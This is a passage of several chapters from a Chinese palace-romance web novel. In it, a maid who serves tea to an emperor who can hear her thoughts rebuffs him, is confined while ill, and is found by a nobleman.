像是那些个不愿花心思只挑贵东西送姑娘的花花大少。
温棉却没理会郭玉祥,端着托盘走了进去。
昭炎帝正在几个小太监的侍候下洗漱。
闻声抬眼,目光落在那碗粉色清露上,微微一怔,他伸出一根手指,虚点了点垂首奉上托盘的温棉。
“温棉,你好大的胆子。”
温棉立刻跪下。
“万岁明鉴呐,奴才观万岁唇焦口燥,又想玫瑰是个润燥生津的东西,故而特地献上,不知何处犯了万岁忌讳?”
昭炎帝低低的笑了起来。
又是说他唇焦口燥,又是劝他润燥生津。
多么忠心的好奴才啊。
他道:“你是觉得朕方才在拿你撒气?”
温棉一副要对天发誓的样子:“奴才绝无此意,奴才真的只是忧心万岁龙体,才斗胆献上,恳请万岁保养圣躬。”
昭炎帝瞧着她那副情真意切的模样,一个字儿都不带信的。
心知肚明她肚子里在嘀咕什么。
腹诽他喜怒无常,拿奴才撒气,没有为帝的气概和肚量。
「我艹你大爷,我艹你大爷听到了吗?」
耳朵听着这胆大包天的心声,昭炎帝竟被气笑了。
总有一天,他要狠狠治她。
他懒得同一个小女子计较,只从鼻子里“哼”了一声,却还是伸手,接过了那碗玫瑰露。
玫瑰的确平气,适宜他现在用,只他一向觉得玫瑰是女人才用的东西,甜腻得很,故而从不碰这些。
碗沿凑到唇边,却不是甜腻腻的,入口是玫瑰本身清冽淡远的香气,带着一丝微苦。
口感略有些清涩,并不讨喜,却很适口,奇异地压下了心头的燥意。
一碗饮尽,那团堵在胸口的郁块,竟真如久旱逢霖般,消散了。
温棉觑着皇帝脸色稍霁,暗自松了一口气,觉得自己这招赌对了。
皇帝莫名发火,显然是肝不好,或是火气旺,正好玫瑰治这个。
她正打算悄无声息地退下,好回去补个觉。
“站住。”
皇帝的声音不高,却让她刚抬起的脚又定在了原地。
“你这是什么规矩?主子没发话,自个儿就要走?你这是打算去哪儿?”
温棉讷讷道:“奴才这不瞧您要安歇了,这就回去。杵在这里又惹您不高兴了,就是把奴才打死也难赎其咎了。”
“你一个值夜的,难道要擅离职守?”
昭炎帝见她一幅要离开的架势就不满,横挑鼻子竖挑眼。
温棉登时苦了脸,心里哀嚎一声,面上却还得堆出十二分的恭顺笑容。
转身道:“万岁爷明鉴,奴才是想去把手中的托盘碗盏归置好,清洗干净,奴才这就去,马上便回来当差。”
皇帝未再言语,只挥了挥手。
温棉如蒙大赦,捧着托盘退出暖阁。
回到东庑房的小茶房,里头静悄悄的,只有那姑姑一个人在灯下缝补着什么。
不知娟秀是回去了还是串门子去了。
温棉向她低声打了个招呼,便径直走到水盆边,将那只素白玉碗和托盘仔细洗净,用软布擦干,放回原处的柜格里。
从后面的架子往前走,路过“丁”字号,瞅见上面的几个玻璃瓶子一闪
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一闪反着光。
温棉的目光不经意扫过那几个瓶子。
只见玫瑰露放在一堆五颜六色的瓶子正中,这些玻璃瓶全是装花露的,有桂花露、桃花露、薄荷露……
淡黄桃红翠绿,霎是好看。
温棉没在意,抱起早就准备好的毡垫子,又回到了暖阁外间,在熟悉的位置坐下,开始了漫长的守夜。
一夜无话,只有更漏滴答。
快交寅时,温棉终究没撑住,眼皮沉沉合上,迷迷糊糊地打起了盹儿。
只一个更次,里间便传来皇帝起身的响动。
郭玉祥伺候皇帝,那真是两只眼睛都睁着还不够,恨不得再长出第三只眼来。
竖着耳朵听到里面声音,他忙轻击掌给信号。
温棉一个激灵惊醒,慌忙爬起来。
司帐、司寝和敬茶上的秋兰都来了。
温棉站在一旁,只等都忙完后跟着她们一起走。
皇帝穿戴整齐走出来,一眼瞥见她眼下明显的青黑,脚步几不可察地顿了一下。
心头那点昨日残留的不快,此刻倒消散了大半,取而代之的是一丝微乎其微的不忍。
堂堂皇帝,万乘之尊,同一个小宫女这般置气,难道好看相吗
“行了,这儿没你什么事儿了,回去吧。”
皇帝声音平静,听不出来此前不虞。
温棉真个如闻仙乐耳暂明,强忍着打哈欠的冲动,忙不迭谢恩退下。
外头天寒地冻,温棉又困又冷又饿。
回到下处,因秋兰和娟秀当差去了,那姑姑没回来,屋里又是空荡荡的。
她拖着沉重的步子走到自己床边,正要倒下,鼻尖却微微一动。
空气中,似乎萦绕着一缕极淡的玫瑰香气。
当不是她身上带的,昨日在茶房沾染的也早该散了。
正疑惑间,门帘一掀,那个昨日格外殷勤的小宫女簪儿端着铜盆热水进来了。
不过十三四岁的小姑娘,脸上却堆着讨好笑。
“温姑姑,您可回来了,昨儿您歇下后,有个小太监来传话,说是您的干弟弟邓公公找您,让您得了空儿,还在老时间老地方见。我本想昨儿就告诉您,可一直没寻着空儿。”
温棉头疼,不知是困的还是被冷风吹的,太阳突突地跳。
她勉强点了点头,笑道:“知道了,谢谢你。”
随手抓了几枚铜钱,递给簪儿全当谢她传话。
此刻她只想立刻躺下,其余事且等睡醒再说吧。
这一觉睡得昏沉,醒来时只觉得脑袋里像灌了铅,懵懵的,鼻子也塞着,呼吸不畅。
温棉暗道一声糟糕,这是得了风寒了。
她望向窗外,天色阴沉,也不知是什么时辰了。
强打精神,草草梳洗,换了身干净衣裳,正打算出门去寻小邓子问个究竟,大门“哐当”一声,被从外推开。
两个穿着深青色棉袍的嬷嬷走了进来,那脸拉得老长,看打扮,是精奇嬷嬷。
后面带着几个膀大腰圆的粗使宫女,径直走了进来。
温棉诧异,忙迎了上去,几个嬷嬷的脚程快,不待她出去就进了屋子。
屋内光线骤然变暗。
温棉心头猛地一沉,僵在原地,强笑道:“几位嬷嬷这是找谁?说给我听,我替几位嬷嬷跑腿。”
为首那个面容刻板的精奇嬷嬷目光如刀,在她身上扫了一圈,冷冷开口:“我们找温棉姑娘,跟我们走一趟慎刑司。”
18. 麻酱羊肉
皇帝的怒喝炸雷般响彻乾清宫,唬得内外所有宫人当即栽烛般跪了下去。
温棉不知他这是怎么了,也被皇帝吓得不轻。
她叩首顿拜:“奴才惹万岁生气,奴才这就滚,万岁千万别生气。”
奴才惹主子不高兴,乖觉点儿的早就自己赏自己巴掌吃了,但温棉不愿意,她就顺着皇帝的话,先离开这个是非之地再说。
昭炎帝坐在龙床上,弹墨帐子垂下一半,他半张脸都在阴影里。
两只眼睛灼灼盯着那道背影。
他恨得咬牙切齿。
恨这丫头如此不识抬举!不知好歹!不懂四六!
更恨自己被这般下了面子后,不仅没罚她,那绮念之思也未下去。
温棉一颗心吓得在腔子怦怦狂跳。
她刚跑出乾清宫,迎面就撞见郭玉祥。
老太监连鞋都穿反了,一瘸一拐地被小徒弟搀扶着,火烧火燎地小跑过来,一张脸吓得煞白。
他自幼服侍皇帝,刚才主子爷的声气儿显是动了真怒了。
上一回主子爷震怒,还是因为噶尔丹,温姑奶奶看着不温不火,却是一身的本事。
郭玉祥见了温棉,如同见了救命稻草,又像见了惹祸的根苗,又是咂嘴又是嗳哟。
一把拉住她,压低声音。
“我的活祖宗!小姑奶奶嗳!您这到底是做了什么?怎么能把主子爷气成这样?”
温棉也是一肚子委屈,眼圈都被吓红了。
“我……我也不知道啊,万岁爷突然就生气了,我不敢碍他老人家的眼,这不就谨遵圣意,立马滚了。”
她心道皇帝是不是觉得被她看到了什么不该看的,所以恼羞成怒了?
可是封建统治者不是向来视奴仆如物件么?怎会因被她瞧见些身体反应就羞恼至此?
这不合常理。
郭玉祥听得心惊肉跳。
他们做奴才的,最怕不知道主子为什么发火,那他们连补救的机会都没有。
主子爷突然煞性儿,温棉的好日子算是到头了,还以为她是个有造化的,看样子这丫头把自己个儿的福气作没了。
他连连摆手:“别说了别说了,赶紧回去,消停待着,这几日千万别在主子爷跟前晃悠。”
说罢,也顾不上她,蹑手蹑脚地走进乾清宫,蹭到暖阁门边。
他不敢明目张胆地偷听里头的动静,以免造成窥伺帝踪的大罪,只能提着一颗心,小心当差。
温棉满腹疑窦惊惶,御前的人见她见恶于皇上,也不敢和她说话。
此时宫门皆下钥了,温棉只得先去东庑房对付一宿。
/
暖阁内,死一般的寂静。
昭炎帝独自躺在宽大的龙床上,胸膛剧烈起伏。
翻涌的怒火混杂着难堪,和一丝连他自己都不愿承认的挫败,烧得他五脏六腑都难受。
多少女人使尽浑身解数,只求他看一眼,难道他就非这个不解风情的傻子不可吗?
就她不愿意!
她还不愿意了!
她有什么资格不愿意!
“主子爷嗳……”
郭玉祥在外间屏息等了半晌,听着里头呼吸粗重,终究是职责所在,小心翼翼地几乎是用气音试探着问。
“您有没有哪儿不舒坦?要不奴才去请太医来瞧瞧?”
“滚!”
“嗻。”
郭玉祥脖子一缩,再不敢多言,连滚带爬地跑了。
昭炎帝在床上翻来覆去,锦被丝褥都成了针毡子。
他猛地一拳砸在床上。
雷霆雨露俱是君恩,主子有意抬举,便是天大的恩典,她非但不思为主分忧,竟敢那般抗拒嫌恶。
亏他先前还觉得她有趣儿,甚至动了心思……
真是给她脸了,不知好歹的东西!
她凭什么不愿意?
难道普天之下还有比他更好的男子吗?
难道……
她心里有人了?
这念头让他更烦躁,仿佛被一只手攥着心脏,使劲揉捏,最后攥出一汪子酸汤来。
浑身无处着力,他重新躺倒,盯着帐顶,眼神幽暗难明。
那日听她的心声,不像心悦苏赫的样子,难不成是宫里的侍卫、太监?
/
东庑房的木床上躺不下三个人,温棉又不耐烦和娟秀打嘴仗,便在他坦里对付了一宿。
只她心里惴惴不安,生怕下一秒皇帝就要传庭杖,把她打成肉泥。
快交寅时,终究没撑住,眼皮沉沉合上,迷迷糊糊地打了个盹儿。
只一个更次,里间便传来皇帝起身的响动。
郭玉祥伺候皇帝,那真是两只眼睛都睁着还不够,恨不得再长出第三只眼来。
竖着耳朵听到里面声音,他忙轻击掌给信号。
“啪啪”巴掌声猝不及防响起,温棉一个激灵惊醒,慌忙爬起来。
一队宫人沉静地鱼贯而入,司帐、司寝和敬茶上的秋兰都来了,此时都从东庑房门前往乾清宫里走。
不多时,皇帝穿戴整齐走出来。
郭玉祥哈巴狗儿似的跟在后头:“万岁爷好歹用点热乎的垫垫肚子,不然身子撑不住啊……”
呱唧呱唧的声音自头顶御道上传来,温棉听声音走远了,才钻过老虎洞,从月华门回去了。
外头天寒地冻,她又困又冷又饿,冻得打摆子。
回到下处,竟一个人也没有。
她拖着沉重的步子走到自己床边,正要倒下,鼻尖却微微一动。
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温棉头疼,不知是困的还是被冷风吹的,太阳突突地跳。
她勉强点了点头,笑道:“知道了,谢谢你。”
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此刻她只想立刻躺下,其余事且等睡醒再说吧。
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温棉暗道一声糟糕,这是得了风寒了。
她望向窗外,天色阴沉,也不知是什么时辰了。
强打精神,草草梳洗,换了身干净衣裳,正打算出门去寻小邓子问个究竟,大门“哐当”一声,被从外推开。
两个穿着深青色棉袍的嬷嬷走了进来,那脸拉得老长,看打扮,是精奇嬷嬷。
后面带着几个膀大腰圆的粗使宫女,径直走了进来。
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我替几位嬷嬷跑腿。”
为首那个面容刻板的精奇嬷嬷目光如刀,在她身上扫了一圈,冷冷开口:“我们找温棉姑娘,跟我们走一趟慎刑司。”
/
昭炎帝祭天祀神后,开始处理政务。
一大早上,军机处的大臣们进进出出好多个。
淑妃景仁宫的大太监王德海来到乾清宫,看见郭玉祥后满脸堆笑。
“哥哥过年好,咱们小主叫我来请万岁爷去看戏,哎呦喂,真不是我吹,今儿的戏真不赖,您看万岁……”
郭玉祥摆摆手,刚想说还是算了吧,主子爷今儿的心情可不咋滴。
但转念一想,主子去后宫散散,和小主们取乐一回,说不得心情就好了呢。
主子心情好,他们也好当差不是。
于是道:“您来的不巧,主子爷正召见诸位大人呢,这么着,我替您跑腿,进去问问,成不成可不在我。”
王德海两只眼睛都笑没影儿了:“我好福气,能劳驾动哥哥,那还请哥哥为我们小主美言几句。”
郭玉祥轻手轻脚进去,皇帝却不在正殿,而是在西暖阁。
金砖地上站着好几个军机处大人和南书房大人,此时皇帝刚放下手里关于漕税被盗案的卷宗。
臣工们连大气儿都不敢出,静候万岁吩咐。
郭玉祥刚进来,皇帝就抬眼望去,见是他,皇帝没好气地移开眼。
好好好。
好个温棉。
好有骨气。
开罪皇帝后不思请罪,竟敢避着他,一日都不来当差,他倒要看看,她的胆子是不是真的比牛大。
郭玉祥被皇帝冷飕飕的眼神看得心直跳,又不敢这个时候再出去,只得擦着地挪腾到皇帝跟前儿。
低声道:“主子,淑小主请您去看戏呢,说是……”
“郭玉祥,你越发会当差了。”
这会子他正召见臣工,这个狗奴才竟敢直剌剌来报这种事。
郭玉祥颤栗栗跪下:“奴才知罪。”
说着,一边请罪一边倒退着出去了。
昭炎帝复又拿起卷宗,排兵布阵,点了几个心腹做巡察御史,这就去江南彻查。
漕税银子被盗案算是给他递了个把柄,是时候将那些做土皇帝的世家清一清了。
忙完政务,他取出怀表一看,不由道:“竟这个时候了,大年节的,倒叫你们不能家去,饿着肚子办差。”
几个大臣得了皇上这么句体人情的话,感动地要落泪,连连说“为主子尽忠是奴才的本分”。
昭炎帝道:“朕也不能叫你们空着肚子回去,来人,赐饭。”
几条大桌子在乾清宫正殿摆开,皇帝独坐御桌上,和臣子们用饭谈笑。
虽说食不言寝不语,但皇帝是行伍出身,不太计较这个。
时不时说某道菜是某大臣爱吃的,从御桌上赏下去,那领赏的大臣感动得恨不能五体投地。
昭炎帝吃着吃着,那眼神就往羊肉片上一落。
葱花、生姜白煮的羊肉,上好的苏尼特羊,乌兰察布的贡品,肥瘦相间,吃起来一股奶香。
皇帝却不是在看羊肉,而是在看旁边的麻酱。
那蘸料盘上有麻酱、椒盐、韭菜花,他一眼就看到麻酱了。
一看到麻酱,就想起温棉当差第一天早上,吃了个麻酱烧饼才来当差。
那样不恭顺的奴才,他竟也容了。
哪里去找比他还大度体人意的主子?
她怎么就不愿意呢?
许是……她不是不乐意,只是没反应过来呢?
19. 年糕菜泡饭
“嗳哟!”
温棉被两个精奇嬷嬷架着胳膊,拖拽着进了一间空屋子,随即一甩手扔了进去。
而后两个嬷嬷一言不发,“哐当”一声关了门。
温棉被掼得摔了个屁股墩,好容易站起来,冲到紧闭的门前,用力拍打。
“嬷嬷,嬷嬷,我到底犯了什么错?得罪了哪路神佛?就算要处置,也让我死个明白吧,我也是好人家出来的良家子,难道慎刑司要动用私刑,连个缘由也不给吗?”
门外静悄悄的,无人应答。
两个嬷嬷面上虽不显,心里却自有计较。
宫女子不比太监,太监是去了势的低贱玩意儿,谁都能踩一脚,宫女却不同,多得是出身官家的,父兄叔伯说不得就在朝为官,甚至身居要职,只是命不好,偏投生成包衣。
前车之鉴不远,七八年前,敬妃因为自己宫里一个宫女犯了错,她下令责罚,结果闹出了人命,惹得龙颜震怒。
生生从贵妃的衔儿被贬成了妃,这么多年再也没能挪上去。
那还是敬妃呢,背靠太后,生育有功,与万岁青梅竹马,不一样被从重惩处了?
想到此处,其中一位穿□□绿的嬷嬷隔着门板,丢进一句准话。
“温姑娘,你且稍安勿躁,不是咱们要为难你,实在是宫里丢了一件要紧东西,上头查下来,仿佛与你有些干系。
咱们也只是奉命行事,请你在此稍候。”
说罢,脚步声便远去了。
温棉拍门的手无力地垂下,心沉到了冰窖底。
丢东西?那与她何干?总不能是怀疑她偷东西吧?
她脑中一片空白。
背靠着冰冷的门板,慢慢地滑坐在地上。
这间屋子空空荡荡,四壁萧然,只一桌一椅,地面是粗糙的青砖,积着薄灰,墙角挂着蛛网。
窗户上糊着的纸破了几处,漏进几缕惨淡的天光,寒风也从破洞里钻进来,呜呜作响。
没有火盆,没有炭,寒气从地底、从墙壁、从四面八方渗进来,冻得她手脚冰凉。
她不死心,爬起来去推窗户,皆纹丝不动。
又去拉门,沉重的门扉如同铸死了一般。
她拍打呼喊,回应她的只有空屋里的回音,和窗外愈发凄厉的风声。
走投无路。
温棉泄力,蜷缩在冰冷的墙角,抱着膝盖,将脸埋进臂弯里。
最初的惊慌恐惧过去后,一种更深的悲哀淹没了她。
她很确定自己绝没有偷东西,那只能是一不留神卷进了上面人的斗法里。
在这吃人的宫墙中,她的生死,只系于上面人的一念之间。
风越发冷了,隐约像是要飘雪。
温棉冻得牙齿都在打颤,手脚早已麻木得不像是自己的。
她知道,再在这冰窖般的空屋里待上一夜,非活活冻死不可。
求生的本能压过了恐惧和病体的沉重,她强撑着爬起来,踉跄地走向窗户。
窗子用老旧的铁栓从外面闩着,栓头是一个弯钩,如果从缝隙伸出细长的硬物去拨,说不得能一点点挑开。
可这屋子徒有四壁,连根稻草都寻不见。
温棉喘着气,用唾沫润湿食指,捅破了早已脆弱不堪的窗户纸。
外面天色已然墨黑,只有远处廊下一点子昏暗的灯光在风里晃悠。
冷风吹得她一个激灵,浑身控制不住地颤抖起来。
头更疼了,像有锤子在一下下凿着太阳穴,眼眶酸胀发热,视线都有些模糊。
这分明是烧起来了。
外面寂静无人,只有风雪声,她不能再等了。
再等下去,只有一个死。
温棉颤抖着手,解开了自己头上的头绳。
那是一根结实的蓝色棉绳,她在绳尾用力打了个活结,又将另一端在自己指头上缠了几圈。
然后,她尽力将带着绳结的那头,从破开的窗纸洞,小心翼翼地向铁钩的方向探去。
寒风刺骨,手指贴着窗户,冻得僵硬不听使唤,好几次绳结都快扣住铁钩了。
她借着外面微光,屏住呼吸,一点一点调整角度,终于,感觉到绳结卡在了铁钩的弯处。
她心中一喜,慢慢地向上拉拽。
铁钩发出“嘎吱”一声轻微的摩擦。
松动了,被她一点一点从扣环里勾起来。
眼看窗户即将打开,就在此时,身后突然传来“吱嘎”一声。
房门从外面被推开了。
两个精奇嬷嬷提着羊角灯笼,端着一碗早已凉透的粥走了进来。
昏黄的光线照进屋内,她们一眼就看到了踮脚站在窗下,正用头绳勾着窗栓的温棉。
其中一个嬷嬷失声低呼:“嗳哟。”
手里的粥碗差点打翻。
另一个也是脸色大变,几步上前,厉声道:“好大的胆子,果然不是个安分的,你想做什么?”
温棉脸上挤出一个比哭还难看的笑,收回冻僵的手,声音发虚。
“嬷嬷,我只是想看看外头的风景,透透气哈哈……”
两个嬷嬷面色阴沉,其中一个重重将手里的粗瓷粥碗“哐”地搁在屋内唯一一张摇摇晃晃的破木桌上。
另一个冷声道:“温姑娘,我劝你消停些,这地方不是你耍小聪明能出去的。”
温棉浑身发冷,头重脚轻,知道偷跑无望。
她颤抖着手在身上摸索,可惜宫女不能戴发簪首饰,自己攒的金银又找地方藏着,只从贴身小衣的暗袋里摸出几枚带着体温的铜钱。
她将铜钱双手捧到嬷嬷面前,声音带了哭腔。
“嬷嬷,您二位都是好心人,我不敢给您二位惹祸,只求您行个方便,去广储司给我的好姐妹荣儿递句话,我不敢求别的,只求她能想法子,给我送一床棉被来。
这屋子实在太冷,我又病了,怕熬不过去,烧死在这里也没人知道。
我死了不要紧,大过年的,这不是给皇上添晦气吗?
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”
那嬷嬷接过铜钱,在手里摸了摸,嘴角向下撇,露出毫不掩饰的讥诮。
“姑娘还是省省吧,安生待着,这点子心意,咱们可不敢收。”
心道这点子铜钱,打发叫花子还差不多。
再瞧温棉烧得脸颊绯红,眼含水光,在她看来更添了几分狐媚子相,越发觉得此女不是个省油的灯,定是仗着有几分姿色惹出事端,心中厌恶更甚。
另一个嬷嬷看着温棉瑟缩发抖,涕泪交流的可怜样,眼神里掠过一丝不忍,但终究没说什么。
两人不再理会温棉的哀求,转身出去,“咔哒”一声,再次落锁。
不多时,窗外传来钉木板的“砰砰”声,那几扇窗户都被彻底封死。
屋内重回黑暗与死寂,比之前更冷,更绝望。
温棉滑坐在地上,抱住冰冷的膝盖,只觉得最后一丝力气和希望都被抽走了。
高烧带来的眩晕让她几乎要昏厥过去,酸痛从四肢百骸冒出来,她浑身没气力。
不能这样下去。
温棉挣扎着爬起来,往桌上的碗里看了一眼。
碗里的粥早就凊住了,白花花冷冰冰,猪油一样。
里面有几根蔫哒哒的青菜,几块年糕,是一碗年糕菜泡饭。
温棉猜这是那两个嬷嬷的剩菜。
只是已经冷了,她又发烧,不敢吃,怕吃了冷冰冰一团积在胃里,越发做下病来。
不知过了多久,就在她意识开始模糊的时候,门锁又响了。
门被拉开一条窄缝,一床半旧但厚实的棉被从缝隙里塞了进来。
温棉忙爬过去,一看,是那个穿□□绿的嬷嬷。
温棉如同抓住救命稻草,扑过去抓住那只塞被子的手,泣不成声。
“嬷嬷,嬷嬷,我求求您,我怕真死在这儿没人知道,求您,好歹告诉我姐妹荣儿一声,让她记得来给我收尸呜呜……”
那嬷嬷被她冰凉颤抖的手抓住,动作顿了一下。
她飞快地瞥了一眼外面,确定无人,这才压低了声音道:“别嚎了,未必到那一步,我冷眼瞧着,不像是要你命的样子,倒像是上头有人,存心要给你个厉害瞧瞧,磨磨你的性子。
你且安生待着,别再闹腾,说不定等上头气消了,也就没事了。”
说完,她迅速抽回手,“哐”地一声,门再次紧紧关上锁死。
温棉用那床棉被裹住身体,呆坐在冰冷的地上。
嬷嬷最后那几句话在她嗡嗡作响的脑子里反复回响。
不是要命?
磨磨性子?
谁?
难道……
难道是因为昨晚的事,皇帝看出她不愿意成为他泄欲的工具,进而恼羞成怒,竟要寻个借口弄死她?
这个念头让她浑身发冷,一股巨大的悲愤和绝望涌上心头。
不就是没顺他的意么?至于就要人的性命吗?
天子一怒,伏尸百万,她算什么?一只蝼蚁罢了。
20. 第 20 章
昭炎帝埋首御案一整日,朱笔批红,奏章如流水般过手。
两淮盐税的后续处置、闽浙海防的增补、直隶春耕的预备……桩桩件件,处理得非常顺遂。
可随着天色渐晚,殿内烛火燃起,他周身的气压却越来越低,那张线条冷硬的脸上阴云密布。
手边的茶上了一茬又一茬,冷了换,换了冷。
郭玉祥悄悄觑了眼主子爷的脸色,再看看敬茶宫女们,不由咋舌。
主子爷待温棉好有一比,是阴天的泥人儿,晴也不成,雨也不成。
终于,昭炎帝手一翻,将一本请安折“啪”地合上,折子摔到桌上,将案头那方青玉云龙纹笔山扫落。
坚硬的玉石砸在金砖上,发出令人心悸的脆响,碎成数块。
满殿侍立的宫人吓得魂飞魄散。
小太监屏息凝神,连大气都不敢喘,悄悄爬过来收拾好玉石残渣,又悄悄退下去。
昭炎帝靠着宝座上的大迎枕,手指轻轻点着,斜眼看侍立在侧的郭玉祥。
郭玉祥忙虾腰上前:“主子爷,奴才再去取个笔山来。”
“郭总管,你越发会当差了。”
皇帝拨弄着拇指上戴的黑玉扳指,不咸不淡道。
郭玉祥当即“噗通”一声跪倒在地,额头紧紧贴着冰凉的金砖。
“主子爷明鉴呐,奴才这一整日都在乾清宫,实在是没顾上留意温棉姑娘现下在何处,许是在御茶房或是下处思过呢。”
昭炎帝脸上闪过一丝极快的不自然,仿佛被人窥见了什么隐秘心思。
这些奴才都是揣摩主子心思的好狗。
他轻咳一声,掩饰尴尬,斥道:“你这杀才,胡吣些什么?朕何曾问及她了?”
堂堂九五至尊垂询一个宫女的下落,没得折了她的福气。
郭玉祥心知肚明皇帝此举不过羞恼,却只敢连连叩头:“奴才愚钝,奴才愚钝,请主子爷息怒。”
昭炎帝看着他伏在地上诚惶诚恐的样子,心头那点无名火发不出来,反倒更添烦躁。
他停止摩挲扳指的动作,终于不耐烦再绕圈子,挥了挥手,语气生硬地道:“罢了,既你提及她,那就去把她给朕叫过来。
躲懒躲到朕都找不着人影,真是越发没规矩了,看来朕平日是太宽纵了,得好好罚她一顿才行。”
“嗻,奴才这就去,这就去。”
郭玉祥一骨碌爬起来,直到门外才敢直起腰,抹了一把额头的冷汗。
主子爷这话说的,不正是明说了他一天都在关注敬茶上的人吗?
可真是太新鲜了,他自小伺候主子爷,从来没见过他还有这样的一面,如今见主子这般别扭,跟瞧西洋景儿似的。
这分明是惦记着,却又拉不下脸。
倘若温棉是个识趣的,温言软语几句,等主子爷开脸后再一晋位,就齐全了。
他体察圣意,又扶了一把温棉,两头落好,到时候王问行这小子就永远矮他一头,想想就痛快。
可温棉那丫头眼下到底在哪儿?
这会子不趁主子爷还在兴头上露脸翻身,却还要等到什么时候?
他在乾清宫转了一大圈,连这丫头的人影都没看见。
岂不知人这辈子的机遇,转瞬即逝,抓住了,一飞冲天,抓不住,望洋兴叹。
真是个不会看眼色的憨货,若是那些个机灵的,早就察觉到主子的心意了。
所谓近水楼台先得月,一边敬茶,一边悄悄递个秋波,一来二去的,前程不就挣下了?
偏温棉这丫头,性子艮,人又傻,主子爷怎么就看上她了?
郭玉祥火急火燎地赶到御茶房,那姑姑几个领头的都在乾清宫东庑房当差,此时这里只有粗使的宫人。
见御前总管来了,几个没见识的都吓得缩了缩脖子。
郭玉祥目光飞快扫了一圈,哪里有温棉的影子?
他招了招手,离得最近一个正在搬银霜炭的小宫女便去了。
郭玉祥压低了声音:“你们温姑姑呢?你看见人没有?”
小宫女眼珠子转了转,见身旁的几个都看似忙活,实则竖起耳朵,便道:“谙达,我不晓得。”
她一面说,一面露出犹豫之色。
郭玉祥宫里浸淫多年,哪里还不明白她的意思,微一颔首,转身离开了御茶房。
几个粗使宫人见总管走了,登时议论起来。
“总管找温姑姑做什么?你说,咱们要不要告诉一声温姑姑被慎刑司……”
“你可是疯了?谁知道她得罪了什么人,一个闹不好,她没事,咱们的小命就得搭进去。”
“咱们只管当差,别的一概不知……嗳,簪儿,别愣住那儿了,快去把炭搬到里面去。”
簪儿清脆地应了一声,又道:“我已经放下了,再去搬些来。”
说着,她便出去了。
出门一看,郭总管刚走到月华门前,簪儿忙小跑过去。
郭玉祥听到后面脚步声,转身等了一等。
“你要说什么?可是知道你们温姑姑在哪儿?”
簪儿见左右无人,小声道:“回郭谙达,温姑姑她晌午前就被慎刑司的两位嬷嬷带走了……”
“什么?!”
郭玉祥一听
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“慎刑司”这三个字,只觉得脑袋里嗡的一声,眼前发黑,冷汗唰唰地就下来了。
真是一佛出世,二佛升天。
御前的人被不声不响地带走,真细究起来,是他这个大总管的失职,何况还是主子爷正惦记着的,嘴上说要罚心里却不知怎么想呢。
要是让主子爷知道,堂堂御前女官被人带走一天,他这个大总管连信儿都没得一个……
哎呦喂,王问行那老小子不得抓住这个机会摁死他,从此爬到他头上拉屎啊。
郭玉祥忙道:“好孩子,你是个懂事的,这件事千万别跟旁人说。”
说着,随手从荷包抓一把金瓜子,想了想,手指松了些,取出两枚来塞给簪儿。
“这点子东西给你买糕甜甜嘴,好孩子,记住了,万万不能跟旁人说这事儿!”
簪儿点点头。
郭玉祥再也顾不上许多,两条老腿此刻迸发出惊人的力气,也顾不得什么仪态,叫上小徒弟就往慎刑司赶去。
一路上心乱如麻,脑子里飞速转着各种可能。
温棉这是是犯了事?得罪了谁?还是主子爷授意?
可看主子方才那言行,分明不像啊。
王来喜气喘吁吁问:“师父,咱们这是要去哪儿啊?”
“去哪去哪?去阎王殿!”郭玉祥没好气道。
可怜他挺着个大肚子,两只小脚还能倒腾地飞快。
/
温棉裹着那床半旧的棉被,蜷缩在墙角。
她烧得神智不清。
眼前一会儿是乾清宫值夜时看到的暖阁外的氤氲烛光,一会儿又是精奇嬷嬷刻板的脸和猪油一样凊住的米粥。
冰冷与灼热交替侵袭,她觉得自己像一片在沸水里沉浮又瞬间冻成冰的叶子。
意识越来越模糊,眼皮沉重得抬不起来。
在彻底陷入黑暗之前,她勉强撑开一线眼帘。
模糊的视线里,紧闭的房门好似被打开了,门口站着一个高大的人影。
苏赫本是带着妹妹进宫陪太后说话儿的,女人家们凑一起,他不耐烦,又嫌热,就跑出来了。
想到昔年与大皇子曾在此一同读书习武,便来故地重游,却不成想听到了一丝陌生的呼吸声。
还以为是哪个宫人在躲懒,却看到了一个眼熟的人。
“嘿,姑娘上次不是牛气的很么?还要拿花瓶砸我,怎么今儿裹着被子躺在地上呢?敢是附庸风雅,静听雪声?”
温棉烧得七荤八素,这话落在耳里,只是嗡嗡嗡,苍蝇一般。
她艰难地张开干涩的嘴唇:“救命……救我……”
21. 桂枝茶
昭炎帝原在乾清宫东暖阁里看经书,只半晌过去,经书堪堪翻了三页。
他擎等着那胆大包天的奴才过来负荆请罪,再好生问问她,究竟是何缘由敢擅离职守。
不多时,却见王问行进来,躬身提醒:“主子爷,已到时辰,该往奉先殿去了。”
昭炎帝这才想起今日的定例。
奉先殿是宫中专供祭祀皇室祖先的家庙,年节期间,每日午后皇帝都需亲至行礼。
向列祖列宗的神位敬香、奠酒、进献时新供品,以示孝思不忘,祈求祖先庇佑江山社稷。
这是祖宗定下的规矩,耽搁不得。
御辇仪仗从乾清宫起行,一路肃静,穿过重重宫门,抵达位于紫禁城内廷东路的奉先殿。
殿内庄严肃穆,香烟缭绕。
礼毕,从奉先殿殿门走出,寒风拂面,将昭炎帝身上沾染的香火气吹散了些。
他立在阶前,目光不自觉地向东侧望去。
紧邻着奉先殿的,便是毓庆宫。
这原是为皇太子所建的。
他的嫡长子,已故的元后所出的大阿哥,曾被寄予厚望的先太子,一度居住于此,读书习武。
可惜天不假年,一场急病,便夺去了那孩子的性命。
冬日天黑的早,沉沉夜色催生出寂寥哀思。
昭炎帝信步朝着毓庆宫走去。
毓庆宫所有陈设依旧。
他挥退众人,也不叫点灯,只身踏入。
紫檀书案上摊开一本资治通鉴,页角微卷;墙上悬着长剑,多宝格里搁着宝瓶、笔洗、砚台等物,都静静待在原位。
昭炎帝的手指拂过书页,心绪飘得更远。
手指在泛黄的书页上停顿,檐角下的灯被风一吹,灯光在昭炎帝的脸上晃了一圈,映照出一点晶莹。
殿内寂静得可怕,连自己的呼吸都清晰可闻。
昭炎帝已然习惯了这种无边的寂静。
“嗳……”
就在这片死寂里,他忽然听到从后面,传来一阵窸窸窣窣的声响。
毓庆宫正殿之后是继德堂,原是皇子读书歇息,师长考校功课之所。
太子在世时为表亲厚,将这里赐予伴读和哈哈珠子进宫休憩所用,如今早已空置。
昭炎帝脚步微顿,随即转向后堂。
堂前庭院中,一株老松负雪而立,虬枝苍劲。
继德堂的大门洞开,门楣上的花纹在夜色中模糊不清。
檐下挂着盏气死风灯,被凛冽的北风吹得晃晃悠悠,昏黄摇曳的光晕,恰好将门内一隅映照得半明半暗。
